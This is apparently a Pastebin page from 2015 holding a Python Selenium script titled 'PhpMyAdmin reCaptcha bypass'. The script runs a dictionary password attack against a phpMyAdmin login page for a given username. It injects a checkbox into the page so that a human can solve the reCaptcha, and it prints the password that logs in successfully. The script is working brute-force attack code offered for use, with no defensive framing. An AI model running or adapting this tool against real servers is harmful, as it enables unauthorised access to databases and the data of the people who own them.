Advertisement
Guest User

PhpMyAdmin reCaptcha bypass

a guest
Sep 5th, 2015
819
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.79 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. # Author: Anton Kuzmin
  5. # Email: anton.kuzmin.russia@gmail.com
  6. # Web Site: http://anton-kuzmin.ru
  7.  
  8. from selenium import webdriver
  9. import selenium.common, sys, time, os
  10.  
  11. TARGET_URL = sys.argv[1]
  12. LOGIN = sys.argv[2]
  13. DICT = sys.argv[3]
  14.  
  15. if not os.path.exists(DICT):
  16.     print " Dictionary {0} not exists".format(DICT)
  17.     exit(0)
  18.  
  19. # Run browser
  20. browser = webdriver.Firefox()
  21. # Open URL with PMA
  22. browser.get(TARGET_URL)
  23.  
  24. for passw in open(DICT).readlines():
  25.     # Fill the login field
  26.     login_field = browser.find_element_by_id("input_username")
  27.     login_field.clear()
  28.     login_field.send_keys(LOGIN)
  29.     # Fill the password field
  30.     password_field = browser.find_element_by_id("input_password")
  31.     password_field.clear()
  32.     password_field.send_keys(passw.strip())
  33.  
  34.     while True:
  35.         # We have reCaptcha in code?
  36.         if browser.page_source.count("recaptcha/api.js"):
  37.             try:
  38.         # If human checked "Ready to go" - we cab work
  39.                 if browser.find_element_by_id("ready_to_go").get_attribute("checked") == 'true':
  40.                     break
  41.             except selenium.common.exceptions.NoSuchElementException:
  42.         # Adding checkbox "Ready to work" - human check this when captcha will done
  43.                 browser.execute_script("jQuery('div.container').append('<input type=\"checkbox\" id=\"ready_to_go\">Ready to go')")
  44.         else:
  45.             break
  46.  
  47.         time.sleep(1)
  48.  
  49.     # Click form button
  50.     browser.find_element_by_id("input_go").click()
  51.  
  52.     if browser.page_source.count("changelog.php"):
  53.         print("YES: {0} - {1}".format(LOGIN, passw))
  54.         break
  55.  
  56. # Close browser
  57. try:
  58.     browser.close()
  59.     browser.quit()
  60.     browser.binary.process.kill()
  61. except Exception as e:
  62.     pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement